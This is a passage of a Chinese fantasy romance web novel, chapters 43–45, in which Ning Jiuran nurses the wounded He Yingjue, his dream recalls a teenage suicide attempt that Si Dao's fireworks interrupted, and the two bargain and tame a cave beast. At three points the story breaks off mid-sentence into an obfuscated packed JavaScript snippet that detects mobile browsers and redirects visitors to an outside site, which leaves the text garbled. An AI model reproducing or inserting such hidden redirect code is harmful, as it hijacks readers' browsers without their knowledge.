当时的他做梦也没有想到,那个决定没能帮他留下父亲,甚至让他在那个雪夜以最为惨痛的方式失去了母亲。 后来,13岁的赫应决就困在了那个雪夜。 “赫应决,醒醒!” “赫应决!” 宁九燃连叫了两声,甚至上手拍了拍赫应决的脸,他的呼吸却越来越重,一点醒转的迹象都没有。 她没弄明白赫应决的神力到底是怎么回事,只能凭借自己仅有的知识尝试去处理他的伤口。 宁九燃脱掉赫应决的风衣叠成块,小心地让赫应决枕上去躺平,然后一颗一颗解开他衬衫的扣子,慢慢揭开被血浸透的衣料。 一道触目惊心的伤口斜斜地贯穿他紧实的右腹,周边沿着他的肌肉撕裂,新鲜的、近乎黑色的血正不断从伤口深处涌出,划过苍白的皮肤淌到地上。 宁九燃皱了下眉,从储物手链中取出两瓶药,将其中一瓶里的粉末直接撒在伤口上,昏迷的人微微颤动了下。 “包老板给的,应该是管用的好东西,可惜了,小铃铛不在这。”宁九燃叹口气,把另一瓶打开倒出两颗红色的药丸,捏开赫应决的嘴塞进去,边塞边说,“你最好乖乖吞下去,不然死了别怪我。” 喂完药,宁九燃在储物手链里掏了半天也没找出个应急绷带,最后只能在自己的长裙上裁了一截,精准控火消杀了下——她的九凤火焰可以根据她的控制有目标地进行灼烧,然后帮他包扎了下伤口。 做完这一切后,宁九燃坐在赫应决身边看着他,他的脸色依旧苍白,额间沁出冷汗,双目紧闭,呼吸混乱,像是陷进了什么噩梦。 宁九燃托着脸,感觉这样的赫应决很陌生。 弑神者应该是强大的,冷血的,战无不胜的,可眼前这个人却好像碰一下就会碎掉。 赫应决,你究竟梦到了什么? 你究竟……有什么故事? “姓赫的,你果真是个废物!还格利烬坦的前家主之子,真给格利烬坦丢人。” “就是,也不知道清高个什么劲,怎么选进照世计划的?” “下次你们别出手,我一个人能打十个他!” “都让你打了我们还玩什么啊?” …… 很疼,哪里都疼。 赫应决看见聚在眼前的人,抬手擦掉了嘴角的血。 他被送进照世计划已经一年了,而眼前的事是这一年的常态。照世计划里大部分都是平民,他们讨厌像他这样有身份背景的人,只不过刚开始只是暗中针对,后来发现他形同家族弃子,针对就摆在了明面上。 赫应决反抗过,但没有用。他的烛龙神格一向被视作辅助类神格,神技时停和时逆只能干扰时间,就算停住了他们,他赤手空拳的攻击也穿不透他们的护体神力,换来的,不过是下一次更狠的毒打罢了。 他也想过要离开,甚至逃跑过,但最后都被送了回来。 赫应决刚开始想不通,后来慢慢明白了,也就不想挣扎了。 他明白了已经成为家主的亲叔叔不希望他还能回去,明白了照世计划本质上就是优胜劣汰,只要不闹出人命就不会有人在意,明白了这个世界上最后一个会站在他身前护着他的人,已经永远消失在那个雪夜了。 他躺在角落,一点点擦干净脸上的血迹,把被扯歪的衣领理整齐,就像当年母亲教的那样。 他想,我也该走了。 虽然活得很痛苦,但是对于一个十四岁的少年来说,选择死也需要莫大的勇气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828619|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赫应决认真地选择了聚会日——负责人会组织他们外出游玩放松,因为他不想死在训练基地里。 那天,照世计划里的所有人都来到了郊外的一处草坪,请神司为他们准备了篝火、烧烤和烟花。 所有人都很高兴,聚在一块,围着篝火唱歌跳舞。他们平时的训练极其辛苦,管控也极其严格,这样的放松显得尤为珍贵。 赫应决也很满意,这个地方符合他的预期。 他穿过少年们的欢声笑语,慢慢走到草坪另一侧最暗的角落,靠在一处凹陷的草坡上,草是软的,还带着点淡淡的清香。 他很久没有这么放松过了,唯一的遗憾可能是今晚没有星星。 算了。 他闭上眼睛,再次认真地感受了下身体里烛龙神格的神力,把所有神力往右手手心调转。 等到调转完毕后,他微微缓了口气,准备神力逆行,让神格一寸寸自碎。 然后就都结束了。 他闭着眼,却能感到周身一点点暗下去,生气消散,心中浮起一抹庆幸:挺好的,至少最后我还能决定自己的生死。 就在这时,一个清亮的声音响起。 “你是赫应决吗?” 赫应决突然被打断,手中聚拢的神力猛的消散,他惊了下,睁开眼。 然后看见了终此一生都忘不了的画面。 女孩一身飒爽的训练制服,束起的长发尾部是鲜艳的红,手中抱了一大捧扎成花束的烟花,明媚的笑好似让周围的亮了起来。 “你是赫应决吗?你好,我是司道。” 司道? 赫应决对这个名字有一点印象,但只有一点。 他知道她是请神司大长老苍尽辰唯一的学生,两个月前进入照世计划,是照世计划里的最强者,被当作未来的弑神者培养,真正的天之骄子。 他曾见过司道在对战台上的九凤火焰,比太阳还要灿烂明亮。 但也仅仅是见过一面背影而已。 见赫应决不出声,司道上前两步,笑着说:“你这比较暗,我可以在这里放烟花吗?” 没等他回应,她就直接坐在了他身边,从一大扎烟花中抽出一个,指尖火焰微亮,绚丽的焰火便直冲天幕,如满天星星般散开。 赫应决的计划被打断,只好先不死,打算等她走了再继续。 结果司道坐在这放完了那一大扎的烟花,也没有要走的意思。 过了会,她又手中凝火,把火焰聚拢,一簇簇飞向夜空炸开,无数绚烂的凤凰“焰火”在天幕绽放。 就这样,司道放完了烟花,又把九凤的火焰作当烟花放。 她放了一个晚上,赫应决也就坐那看了一个晚上。 而跟她一起看了一晚的烟花后,赫应决突然不想死了。 宁九燃坐在一边本来快睡过去了,突然听到赫应决发出动静,睁开眼来,发现他好像在呢喃着什么。 “赫应决,你说什么?” 宁九燃挪近了些,把耳朵靠在他嘴边,在几声模糊不清的呢喃声后,她清晰地听到了两个字。 “司道。” 宁九燃一怔。 44. 第44章 宁九燃虽然没有谈过恋爱,但是之前闲的没事也陪唐姨看了不少狗血的影视剧,像这种昏迷中喊某个人名字的情节,背后一般就是两个设定,要么就是爱到日思夜想的恋人,要么就是恨到梦中都咬牙切齿的仇人。 宁九燃结合凌晨看的资料和刚刚赫应决跟任聿那段无厘头的对话,猛的总结出了第三种融合版的设定,脑补出了一个恨海情天的故事。 赫应决小的时候不受待见,遇见了天之骄子的司道,也不知道司道看上他什么了,总之两人就一起长大,情深意重。结果功成名就了,这人野心膨胀,爱人反目,反插司道一刀,借人家的死彻底登上最高位,现在午夜梦回又悔恨起来了。 “哇哦。” 宁九燃被自己总结出的这个版本惊了惊,没忍住感慨了声。 好大好狗血的瓜。 被自己的推理才华惊艳到的宁九燃,决定再完善下这个堪称“惊世骇俗”的故事的逻辑链。 比如,当时的赫应决被家族抛弃又没实力,从下到上似乎都没有可取之处,司道到底为什么要选择他呢? 宁九燃用眼睛扫描着昏迷的赫应决,上上下下扫了三四遍之后,目光停在了他的脸上,心里冒出一个会让这个故事更荒唐的念头: 司道不会是……看中这家伙的脸了吧? 九凤神格,绝世天才,折在这张脸上…… 宁九燃倒吸一口气。 好一个红颜祸水啊! 赫应决迷迷糊糊中梦见了很多往事,恢复意识的时候,各种复杂的情绪都积在心口,又闷又压,腹部和肩头不断传来痛感。 他想,我还活着啊。 那既然活着,就还有要做的事。 赫应决呛了两声,艰难地抬起沉重的眼皮,睁开了眼。 他第一眼看见头顶的山洞岩壁,第二眼往下移,就看见宁九燃坐在他身边,以一种……一种非常奇怪的眼神看着他。 奇怪到他都概括不出来,只觉得浑身发毛,当场想坐起来。 宁九燃刚捋到这人是个红颜祸水,震惊、叹惋、诡异等各种情绪夹杂在一块,看向他的眼神里写满了“你居然是这种人”,差点就要“啧”出声了。 然后这人突然就醒了。 四目相对了一秒,宁九燃眨了下眼,立马切换了表情,露出一个人畜无害的微笑:“赫大人,你醒啦。” 赫应决看她切换的表情,感觉更惊悚了,他侧过身,用右手把身体撑起来,宁九燃伸手过来搀了他一下,帮他把叠成块的风衣放到背后,让他坐起身靠到岩壁上。 坐好后,赫应决的目光下移,自己的衬衫被解开了,解的人手上大概没个轻重,最上面的扣子还被拽下了一颗,腰间的伤看着像是做过了止血处理,就是这绑带…… 他看了眼绑带,又看向宁九燃的裙子,刚想开口,宁九燃像是察觉到他要问什么,抢先一步说:“你要感谢我的,你腹部的伤不处理你可能就死掉了,我是为了伤口才解开你衣服的,没乱摸没乱看,然后因为没有绷带我就只能从裙子上撕下一块,就这样,我没占你便宜啊!” 赫应决缓了两口气,他不知道宁九燃的内心戏码,没搞明白这人为什么一副跟他沾边就要完蛋的样子,无语地哑声开口:“我说什么了吗?” 宁九燃:“也没有,我就是提前说清楚,免得误会哈。” 她脑子里现在还全是“此人是红颜祸水”这几个字,可不敢沾一点绯色的关系。 赫应决垂眸,不动声色地尝试调动体内的神力,发觉还是枯竭的,心中沉了几分。 按理说,不应该是这个时候发作,或许是情绪波动加上任聿的攻击,自己压不住那个东西,所以就提前了。 他抬起头,问:“现在是什么时候了?” 宁九燃看了眼个人终端:“差三分钟就到十二点了,赫大人,时间还是很宽裕的。” 才中午,那还来得及。 赫应决稍微放松了些,看着宁九燃关上个人终端,坐在原地掰指头,问:”你在做什么?“ 宁九燃捏着指头,笑着说:“我在算我救了你这么多命,一会该怎么勒索你。” 赫应决舔了下发干的嘴唇,没忍住地无声笑了下:已经这样直言不讳了吗? “什么叫这么多命?我有几条命啊?” 宁九燃见他这么说,又坐近了些,煞有介事地冲他伸出一只手,一个个掰指头:“你看啊,你身上的伤这么重,我不救你,你就死了,这算一条吧?那只蛊雕差点就把你割喉了,是我一箭射死了它,这是一条吧?哦对,还有那么多被任聿引来的异兽,就你当时那状态,随便哪只都能吃了你,最后还是我费那么大劲把你带走的,那里起码几十上百只,这样吧,看在我们俩交情的份上,一口价,算我救你五命。“ 她把手一摊,比了个五在赫应决面前:“五条尊贵的弑神者的命,一条换你答应我一件事,合情合理的交易吧。” 赫应决抿住嘴唇,没忍住蹙眉。 地下黑市最黑的奸商也不是这样算的吧? 他稍微调整了下姿势,让自己看起来能轻松些,抬眸看着宁九燃,嘴角微微弯起,沙哑出声:“我要是不答应,会怎么样?” “会怎么样?”宁九燃微微偏头看他,笑了一下,手指一抬,几道银丝陡然出现,细细密密直连向赫应决的后颈,“赫大人,认识这个东西吗?” 赫应决觉得后颈一凉,定神看向银丝,表情微凝。 竟是神印断神丝! “堂堂弑神者,超3S级的烛龙神格,神脉里竟然会出现神力完全枯竭的现象,别说请神司了,放在整个联邦都绝对是头一份的惊天动地大新闻。赫大人,这个秘密应该没什么人知道吧?”宁九燃微笑着,指间连着赫应决神脉的银丝黯淡无光。 她继续说:“我刚刚真的翻了好久的书,才临时学会了神印断神丝,这可真难找。它能感知神脉中神力的枯丰,像这样暗得一点光都没有的,是个人都能看出毫无神力,赫大人,你能看出来吧?” 赫应决感觉头有点疼。 神印断神丝都快失传了,这人不仅能想到,能快速找到,还能在几个小时内学会然后成功用出来威胁他,真是……真是该夸一句天赋卓绝啊。 “我已经录过用断神丝测你神脉的视频了。”宁九燃举起带着个人终端的手挥了挥,继续说,“当然啦,像这样的大事,赫大人你肯定不太希望别人知道,其实我也不希望,只要你跟我好好交易,这件事就到咱俩之间了。” 赫应决太久没被人威胁了,尤其对方用的手段和气人的语调还跟他这么像,一时没想好说什么。 宁九燃见他不说话,拧着眉又靠近了些,眼神中透着危险:“赫大人,虽然我不知道你为什么会出现这种情况,也不知道你什么时候会恢复神力,但我知道一点,我的断神丝就连在你的神脉上,在你恢复神力之前,你的命握在我的手上,我会好好把握这段时间的。” 赫应决看着她直视自己的眼睛,大概对视了十几秒,他忽然微微笑了下,不知在想什么,然后说:“好,你赢了,我答应你,说吧。” 宁九燃舒展开眉头,刚刚那个危险的眼神瞬间消失,正色道:“第一,不管你到时候要跟任聿聊什么,我要在旁边听。” 赫应决想了想,应声:“好。” 宁九燃继续说:“第二,在从现在开始到提灯人大赛结束,三次之内我有求于你,你都不可以拒绝。” 刚说完,宁九燃又补充道:“放心,我不会提违背请神司和你们弑神者使命的要求。” 赫应决听了这个要求,应完又觉得哪不对:“好,但是,这算一件事?” 宁九燃毫不心虚,点头:“嗯!” 赫应决:“……行,然后呢?” 宁九燃:“第三,我要你给我一样东西,来确保你会实现前两个条件。” 这么严谨呢? 赫应决微微挑眉: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838983|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要什么?” “要你珍视的、不能失去的东西,我认真地想了,我要你给我凤凰的最高权限,和你平起平坐的那种。”宁九燃指着因赫应决之前昏迷而暗掉的凤凰,但即使赫应决昏迷,她也没能把变作机械臂的凤凰从他手上取下来,“你放心,只要你践诺,我就把凤凰还你。” “宁九燃,你……想的很全面嘛,连我的凤凰都算计上了。”赫应决往后靠了靠,轻轻抬手捂住腹部的伤口,压下明显的痛感,“行,我答应,凤凰。” 随着赫应决的喊声,机械臂的一处亮了起来:“大人,我在。” “把你的最高权限给宁九燃一份。” 凤凰停顿了一下,说:“好的,大人,已对宁九燃开放最高权限。” “这就好了?”宁九燃有点不相信,伸出手,“凤凰,过来。”话音一落,凤凰机械臂化作流动的可变形金属卷到宁九燃的手臂上,变成贴合她尺寸大小的机械臂。 宁九燃十分新鲜地翻手看着这单克能卖到百万联币的可变形金属,想了想,又说:“凤凰,你家大人是不是一直让你监视我?” 赫应决出声:“宁九燃?” “赫大人你不要着急嘛,不问点跟你有关的,我怎么知道我们俩的权限是不是一样?”宁九燃冲赫应决笑了下。 凤凰顿了一秒,回答道:“是的,大人将与您有关的信息与动态设为最高优先级,必须第一时间进行通知。” 最高优先级? 宁九燃有点意外,她能猜到赫应决有在监视她,但这个级别,会不会太高了一点? 这个赫应决绝对有事没说。 赫应决没去对上宁九燃的视线,而是瞥到一边,顿了顿又说:“现在可以了吧?第四件事呢?” 算了,以后的事以后再说。 宁九燃把凤凰转回到赫应决手上——毕竟只是要权限,本体都拿走显得她太强盗,然后她往赫应决身前挪了下,腿几乎能贴到他的腿,开口一字一顿地说: “第四,回答我一个问题,司道真正的死因是什么?” 赫应决呼吸一滞,腹部的伤被身体的微微颤动扯到,疼得他瞬间出了冷汗。他缓了几口气,慢慢抬头看向一直注视着他的宁九燃,她的神色专注而执拗,像是一定要等到他的答案。 “你……是为了这件事才来请神司的吗?” 宁九燃微微皱眉:“赫大人,现在是我在问你。” 赫应决顿了顿,眼神恍了下,然后像是忽的缓过劲,呼吸慢慢平稳,抬手拭去额上的冷汗,整个人严丝合缝地冷静下来,仿佛刚刚那个失态的人不是他。 他看着在等答案的宁九燃,说:“我不知道。” “不知道?”宁九燃将信将疑,想了想,没忍住抬了音量,说,“司道大人,作为请神司有史以来最伟大的弑神者,几千年才出了一个的超3S级九凤神格者,终其短暂的一生为请神司和联邦立下不世之功,这样的人,却落得个死的不明不白的下场,请神司的讣告是假的,作为她最亲近的搭档也只能说一句不知道。赫大人,你不觉得有些荒唐吗?” 赫应决听了她的话,微微垂着头,那双格外好看的眼里好似结了霜。 他轻轻地说:“是啊,多荒唐。” 宁九燃纾解了心中一点波澜的情绪,看赫应决的反应,估计着他大概也没有撒谎。 也就是说,赫应决也不知道司道的死因,那他来找任聿,或许就是来查司道的死因的。 可是按照她现在了解的信息,在司道死前,这俩人的关系已经到剑拔弩张的地步了,赫应决难道真的会为一个关系破裂的旧友查了八年吗? 他既然已经稳坐弑神者之位,司道死不死的,又与他何干呢? 宁九燃开口:“赫应决,第五件事,我最后再问一个问题。” 赫应决抬眼看她。 宁九燃看着他的眼睛,语气非常认真。 她问:“你喜欢司道吗?” 45. 第45章 “你喜欢司道吗?” 赫应决愣住了,恍惚了一秒,耳边的声音影影绰绰地跟十年前一个记者的提问重叠起来。 当时他和司道刚结束一场比赛,接受完采访,司道向来不喜欢这些吵吵嚷嚷的,先他一步从出口离开,他跟着走过媒体区的边缘,一个不知从哪来的娱乐八卦记者见缝插针地把话筒递到他面前,问: “你好,赫应决,作为一对顶级新秀组合,仅到赛程中段你们就已经吸引了无数粉丝,他们都很关心你们俩的关系,我想替广大粉丝八卦一句,你是不是喜欢司道呢?” 听到这个意外的问题,十八岁的少年面上维持着稳重,心中却忽的漾起几分涟漪。 他插在制服口袋里的手轻轻捻了捻,转过头望向出口通道,只看见司道没注意到他被记者拦下,已经径自走远,束起的长发随着步频微微晃动。 不等我? 赫应决眼波微转,重新面向记者的话筒,对着无数怼上来的镜头和闪光灯,神色自若地说:“我们只是搭档而已,最好的朋友和搭档。” 说完,他转身步履从容地走入出口通道,走过半截完全避开记者的视线后,他加快步伐跑着追上靠在通道尽头司道。 “你怎么走这么慢?”司道走路的时候一直在复盘今天的比赛,快走到头才注意到赫应决没跟上,于是就靠在一边等他。 赫应决在靠近她的时候放慢脚步,走到她面前,低头说:“有记者追着我问问题,你丢下我就走了。” “是你太慢。”司道从墙上直起身,往参赛队员的专车走去。 赫应决走在她身边,把手插进兜里,走出几步才说:“你知道记者问我什么吗?” “什么?”司道心里还在琢磨明天的对手,随口问。 赫应决顿了顿,把视线微微下移,停到司道的脸上:“他问我是不是喜欢你?” 他说完,仔细地观察着司道表情的变化,却看她好像只是听见了个普通问题一般,应了声:“嗯,你怎么回答的?” 赫应决心里突然有点别扭,甚至有点不痛快,沉默好一会,闷闷地说:“我说我们是搭档,最好的朋友和搭档。” 说完,二人已经走到车前,司道没应声直接上了车,赫应决跟在她后面也上去。 后来,他们好像就忘了这件事,再也没有提起过了。 “赫应决?你想什么呢?”宁九燃看他发愣,伸手在他面前挥了挥,“你这精神状态不太稳定哈,年纪轻轻的。” 赫应决回过神来,看着宁九燃:“你为什么要问这个问题?” 宁九燃:“我好奇啊。” “好奇我喜不喜欢司道?”赫应决微微撑手,靠近她,“好奇我喜欢谁,怎么,难道你喜欢我啊?” 宁九燃不着痕迹地咽了下口水,无名指扣进掌心,但脸上依然作出一副坦然的样子,不退不避:“赫大人的色相确实是顶级的,很难有人不喜欢吧?但我……我更多是替当初磕你们cp的粉丝问一句,虽然他们可能在司道大人离世的时候就已经绝望了。” 色相?这人真的……什么话都说…… 赫应决闭了闭眼,复而开口:“不喜欢。” “啊?”宁九燃愣了下,随即为那群早就支离破碎的cp粉感到痛心,“这……你没骗我吧?” “骗你干嘛?” “行。”宁九燃点点头,“那五件事结束啦,赫大人,你接下来有什么打算?” 赫应决说:“你应该也听见了,我得在日落前找到任聿留下来的神印,这样才能见到她。现在只能等我神力恢复,然后将神力感知铺开到极致,一寸寸搜寻。” “这么大的原态森林,赫大人,运气不好的话,等你找到任聿的神印,再多的神力也耗尽了。”宁九燃拿手托着脸,“我看任聿对你态度不算友好,那到时候你岂不是任人拿捏?” 她停了下,又补充说:“而且,你对自己神力什么时候恢复有把握吗?” “没有准确的把握,但再过几个小时应该差不多。”赫应决感受了□□内的神力,虽然还是枯竭之状,但已经隐约有恢复的感觉。 “那万一过了呢?”宁九燃摊手说,“万一错过,下次再找到任聿可以就不知是什么时候了。” 赫应决看她的嘴上可惜但表情又气定神闲,莫名有种预感,开口问:“你是不是有办法?” 宁九燃咧嘴一笑。她笑的时候眼睛会微微弯起来,显得笑容格外明艳。 “我确实有办法。”宁九燃伸出右手,手链上的一颗珠子亮了下,“这颗吸纳珠里有我刚才趁机捕捉的一缕任聿的神力,而原态森林里刚好有一种异兽对神力敏感异常,能够带我们找到同源神力所做的神印。” “你这是早有准备啊?”赫应决看着那颗吸纳珠,初步判断品级不低,“你那链子上还有什么宝贝?” “不告诉你,赫大人,你家大业大,不要惦记我的东西哦。”宁九燃把手收回去。 “我惦记……”赫应决噎了下。 今天不是你一直坑的我嘛? “行,你说的是森餮兽吧?原态森林是有,但是也没那么好找吧?何况森餮兽脾气暴躁,你就算找到了它也未必听你的,说不准还要跟你打一架。”赫应决分析说。 宁九燃忽然笑了下,靠近赫应决神秘兮兮地说:“看来赫大人当初念书的时候对森餮兽还是有点了解的,那赫大人不觉得这个山洞有点熟悉吗?” 什么? 赫应决抬眼仔细观察了下四周,山洞的光线有些暗,但认真看去,却能发现岩壁的最高处有密密麻麻的爪印,山洞深处堆了不少圆柱状的东西,定睛看的话,能分辨出是被啃的整整齐齐的树桩,上面的树皮一点都不剩。 喜欢在高处磨爪,爱啃树皮,啃过的树木追求大小相同…… 赫应决眯起眼,有点不敢相信地问:“这不会……就是森餮兽的洞穴吧?” “答对了!”宁九燃认可地点点头。 赫应决对自己处在某种杂食群居异兽的洞穴里这件事接受不太良好:“……你……要不要稍微解释下?” 这人看起来早就全想好了。 “我当时托着昏迷的你被异兽追得四处跑,刚好就看到了这个洞穴,运气是真不错。”宁九燃指着洞口的堆放的几垛灰蓝色的草,“森餮兽离巢的时候,喜欢在洞口堆上与它们气息相近的蓝槐草来警示其他异兽,这种草的颜色会随着时间推移变淡,我注意到洞口的时候,蓝槐草的颜色正浓,说明它们刚离开不久,一时半会不会回来,我就刚好进来落个脚。“ “那你就不担心它们突然回来?” 宁九燃摆手:“不会,它们每次离巢活动至少六个小时,蓝灰草的颜色会变得非常淡,我有把握。” 赫应决对她这稀奇古怪的知识量有些感慨:“你从哪了解的这些奇怪知识?” 森餮兽相对少见,而且没有太多的研究价值,联邦正规的神格学院最多会教到它的外观与简单群居习惯,上课不认真的学生估计都记不清它长什么样,宁九燃却对它们外出活动几小时都如数家珍。 宁九燃环抱着手,神色颇有几分得意:“唉,可能是我这个人有点天才,这些年到处溜达,一不小心就了解到了不少东西,大抵也称得上另一种学富五车吧。” 赫应决:……怎么感觉更像是满世界听墙角去了。 “好的,宁天才,那你应该也已经想好怎么让暴躁的森餮兽乖乖听话,带我们去找神印了吧?” 宁九燃:“当然。我会神印摄灵,可以让异兽短暂地把我当成同类,感知我的诉求,帮我做事。” 赫应决:“……” 他越来越理解肖自云那么处事圆滑的人,敢冒欺骗弑神者的风险去保她了。 天赋卓绝,技能满点,什么事都能处理解决,不知道她真实身份的,绝对被一哄一个愣。 “那现在还有最后一个问题……” 赫应决话还没说完,一大滴绿色黏液当空落下,滴在他们俩身边不到二十厘米的地方。 两人顺着黏液的下落轨迹往上看,山洞顶部有一道不小的透光缝隙,他俩一抬头,就赫然对上一张露着个大牙的,长得乱七八糟的绿油兽脸,绿色黏液就是从它嘴里流出,从缝隙里滴下来。 这只森餮兽实在其貌不扬,再加上冷不丁发觉它阴测测地盯着自己,俩人都被骇了下,感觉胃里一阵翻涌。 森餮兽是群居群行,一只出现在缝隙外,说明它们都回来了。 此刻大约正都露着牙,被堵在山洞外,分辨着陌生的气息。 “好吧,我的问题已经出现了。”赫应决本就因为失血头发晕,现在更犯恶心了,声音都虚弱了几分,“十二点多,六个小时,如你所说的它们回来了,估计现在整个山洞的外壁趴着森餮兽,你要想出去弄一只下神印,估计得先和每只打一架。” 宁九燃抿了抿嘴。 这群森餮兽回来的时间确实比她想象的早一点,本来她计划是拽着赫应决在它们回来之前出去,看准时机找一只落单的下手。但是现在,明暗关系一反,他们反而有点被动了。 不过…… 宁九燃眼睛微微一转,打开个人终端导出一个书影快速翻了起来。 也不是没有办法的。 赫应决疑惑地问:“你在干什么?” “我设在洞口屏障应该支撑不了很久,最多十五分钟,那群森餮兽就能破开屏障进来。”宁九燃嘴上说着,手上半分不停,“这是一本记载了很多神印的古籍,我在找我需要的神印。” 赫应决:“你是说你要在十五分钟之内现找一个神印,把它学会,然后用出去?” 她当这是在查字典写作文呢?查了就能用? 宁九燃充耳不闻,专注地翻着书影:“别吵。” ……行。 面对着熟悉的语调,赫应决闭嘴了。 自从他做了弑神者,这是第二次听见有人用这种语气对他说这两个字。 当然,上一次还是她。 二分钟后,宁九燃眼睛一亮,放大一张书影:“这个可以!” 赫应决把眼珠转到一侧,瞥了眼,书影最上面写的是“神印虚无”。 不太听过,但绝不简单。 他看宁九燃已经执行力超强地开始比划手势了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845676|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忍不住开口:“不是,你多看两眼再试啊,小心神力错乱。” “放心,不会,我没那么笨。” 宁九燃几下之内已经捋顺结印手法,尝试着把手法和神力流动结合。 赫应决放弃提醒不笨的宁天才,靠在原地闭上眼去感受体内神力的恢复,想着能恢复一点,万一她练错了神力倒行,还有能力救她一救。 结果眯了五分钟不到,就听见宁九燃喊:“成功了!” 赫应决睁开眼,看见宁九燃双手十指交叉,迅速开合变换,神力流光在指尖飞快流动,眨眼间一个虚影般的神印就被结出。 宁九燃单手托住神印往上一投,神印贴上山洞顶部的岩壁然后如渔网般流散开,顶部的岩壁闪了闪,骤然变成透明,趴在上面的书是指森餮兽清晰可见。 而岩壁也变成单向的虚无,也就是说里面的人可以把东西带进来,但是外面的生物无法主动进来。 这天赋……要是让那些自诩神格学院优等生的人看见,不知该多么道心破碎。 赫应决抬头,跟选菜似的指向一只趴在右上方的森餮兽:“那只估计是它们的头,建议你选它。” “看出来了。”宁九燃仰着头,冲赫应决伸出手,“赫大人,借你的龙脊一用。” 真是不客气。 赫应决嘴角微弯,手一抬调动恢复出的一点点神力,长鞭龙脊在黑红的光亮中浮现。 宁九燃伸手拿过长鞭,注入神力,龙脊上交错的龙鳞片片亮起,随着她的挥鞭,龙脊直接穿过变得透明的岩壁,缠住那只领头的森餮兽, 她收鞭一拽,那只森餮兽嚎叫着被扯了进来,重重地砸在地上,庞大的绿色身躯激起扬尘。 “还你。”宁九燃把龙脊丢回赫应决手上,双手立刻结印,在森餮兽从摔得眼冒金星的状态回转前,迅速将神印摄灵按在它额头,嘴中跟着低语,“乖,听话,听话……” 森餮兽呜噜呜噜地哼了几声,顺着宁九燃的手势乖乖爬了下来,伸出胖胖的舌头舔了舔刚刚摔到的前腿。 宁九燃冲赫应决挑了下下巴:“成功了!” 赫应决配合地点点头,收回龙脊,然后扶着岩壁慢慢站起来,一动伤口就流出血,在蓝色的绑带上就洇出了深色的血迹。 宁九燃看了眼他的伤口,问:“赫应决,你行吗?” 这种程度的贯穿伤再加上枯竭的神力,他能几个小时就醒过来已经是铁打了,脸色苍白又一副弱柳扶风,一会不能挂了吧? 但凡他是平常的神力状态,宁九燃都犯不上担心他,可偏偏这人现在几乎是个普通人。 “……可以。”赫应决轻轻吸了几口气,伸手将绑带扎紧,然后扣上衬衫的扣子,伸手去拿地上的风衣。 “你别你别。”宁九燃看不下去,拦住他的手,蹲下替他把风衣捡起来展开,“我帮你,伸手。” 赫应决看她把一个袖洞展开,举到他右手边,一副要帮他穿衣服的样子,怔了一下。 “大哥,高抬尊手好吗?”宁九燃看他僵着不动,说,“衣服是我脱的,我来帮你穿回去,就当照顾伤号了好吧?” 赫应决嘴唇动了动,没说话,抬手顺着她的动作把风衣套上,宁九燃还顺手帮他理了理领子,最后在他胸前的衣服上拍了下:“好啦,穿戴整齐,我们出发吧。” 说完,她转身走到乖乖趴着的森餮兽前,手链上的吸纳珠释放出那缕任聿的神力:“乖,帮我们找找这个神力在森林的哪里。” 她一边说,脑海中也一边加强这个念头,森餮兽感知到她的诉求,伸出舌头吞下那缕神力,然后趴得更低了些,冲宁九燃晃了晃头。 “赫应决,它让我们坐它背上,然后带我们去找。”宁九燃扭头冲赫应决招手,看这人莫名其妙又愣在原地,直接上手把他拉过来,几乎是搡着他坐到了森餮兽的背上。 等赫应决坐好,宁九燃伸手拽住森餮兽背上的凸起,利落地翻身上去坐到了赫应决的背后,两个人几乎完全贴在一起。 宁九燃感到赫应决明显僵了下,在他背后说:“赫大人,我是怕你摔下来,我们靠近些,一会我还能拉住你,别误会,没有占你便宜的意思。” 赫应决舔了下发干的嘴唇,声音有些沙哑:“我……我知道。” “那就走吧。”宁九燃的右手从赫应决的腰侧伸过,拍了拍森餮兽的头,森餮兽呜噜地叫了两声,撒开腿从洞口跑了出去。 这一下的颠簸超乎宁九燃的预料,险些把自己晃下去,手下意识要环住什么,但在抱住赫应决的腰前一秒,她想起这人的伤在腹部,右手强行改道往上抱住。 赫应决看着放在不该放的地方的手,哑声道:“宁九燃……手别乱放。” 宁九燃稳了下,确保自己不会掉下去后,心虚地把手伸回来抓在森餮兽身上:“不好意思哈,有点没稳住。” 赫应决深深地呼吸了下:“你注点意。” “嗯嗯!” 宁九燃老实点点头,心里却忽然莫名回想了下刚才的手感。 然后不由地偷偷感叹:赫应决这人,皮囊好,身材好,要是嘴没这么毒,大概是很完美了。 46. 第46章 